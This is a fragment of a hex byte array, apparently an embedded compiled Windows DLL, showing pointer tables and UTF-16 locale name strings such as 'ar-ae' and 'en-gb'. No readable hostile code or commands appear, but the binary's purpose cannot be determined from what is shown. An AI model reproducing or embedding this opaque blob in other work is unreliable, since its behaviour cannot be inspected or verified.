0x00, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x84, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa5, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xae, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x85, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb6, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xbc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x85, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x85, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xaf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x85, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x85, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x85, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x3d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x86, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x86, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x87, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x87, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x87, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x88, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x87, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9f, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xa8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x87, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x87, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x88, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x9c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x66, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x88, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xbe, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xcb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x88, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x5c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x72, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x88, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xbd, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x99, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x9a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x5d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x8a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x5e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x5f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x57, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x89, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x89, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x7b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x67, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x69, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe2, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x8a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb2, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x98, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x8a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x8a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x66, 0x00, 0x2d, 0x00, 0x7a, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x61, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x68, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x64, 0x00, + 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x65, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x69, 0x00, 0x71, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6a, 0x00, + 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x6b, 0x00, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, 0x62, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x6d, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x71, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x73, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x73, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, 0x2d, 0x00, 0x74, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x2d, 0x00, 0x79, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, + 0x63, 0x00, 0x79, 0x00, 0x72, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x7a, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x62, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x67, 0x00, 0x2d, 0x00, 0x62, 0x00, + 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x62, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x61, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x63, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x7a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x79, 0x00, + 0x2d, 0x00, 0x67, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, 0x61, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x6b, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x65, 0x00, + 0x2d, 0x00, 0x6c, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, 0x69, 0x00, 0x76, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x76, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x2d, 0x00, 0x67, 0x00, + 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x61, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x7a, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x67, 0x00, 0x62, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x69, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x6a, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x65, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x6e, 0x00, 0x7a, 